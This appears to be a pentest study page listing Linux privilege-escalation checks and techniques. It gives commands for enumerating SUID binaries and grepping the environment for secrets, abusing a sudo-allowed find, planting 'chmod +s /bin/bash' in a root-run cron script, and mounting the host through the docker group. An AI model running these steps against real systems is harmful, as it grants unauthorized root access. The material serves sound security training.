

Linux Privilege Escalation

The enumeration-first religion

Before exploit, enumerate the box fully. Low-hanging fruit abounds: misconfigured sudo, SUID, cron, world-writable scripts, exposed secrets, docker group.

The top-5 checks

```
# 1) sudo rights
sudo -l

# 2) SUID binaries
find / -perm -4000 -type f 2>/dev/null

# 3) writable cron scripts
find /etc/cron* -maxdepth 2 -type f 2>/dev/null
cat /etc/crontab

# 4) unusual capabilities
getcap -r / 2>/dev/null

# 5) running as root services + environment
ps aux | grep root
env | grep -iE 'token|secret|key'
```

Use **LinPEAS** to speed the sweep:

```
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh
```

Classic escalation patterns

sudo misconfig

```
sudo -l # -> (ALL) NOPASSWD: /usr/bin/find
sudo find / -exec whoami ;
```

Tools running AS root with the ability to run commands = instant root.
Check GTF0Bins (gtfobins.github.io) for any catch.

SUID binary bugs

Python/perl/vim + SUID + scriptable → root. Again GTF0Bins.

Writable cron

```
# attacker edits a root-run script in /usr/local/bin/backup.sh
echo 'chmod +s /bin/bash' >> /usr/local/bin/backup.sh
# wait for cron -> /bin/bash is now SUID root -> bash -p
```

kernel / dirty pipes

Dirty COW (CVE-2016-5195): write to read-only files (old kernels)

Pipe race (CVE-2022-0847): "Dirty Pipe" – write to page cache

Use only on authorized lab kernels; verify kernel version

docker group

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

Docker membership = God. Same for lxd/lxc ubuntu image mounts.

The mindset

Every escalation = an **authorization bug**: "who can read/write/run what, and does that cross privilege." Enumerate those triples and you'll find the seam.

[← Active Directory Attack Paths](#)

[Buffer Overflows & Memory Corr...](#)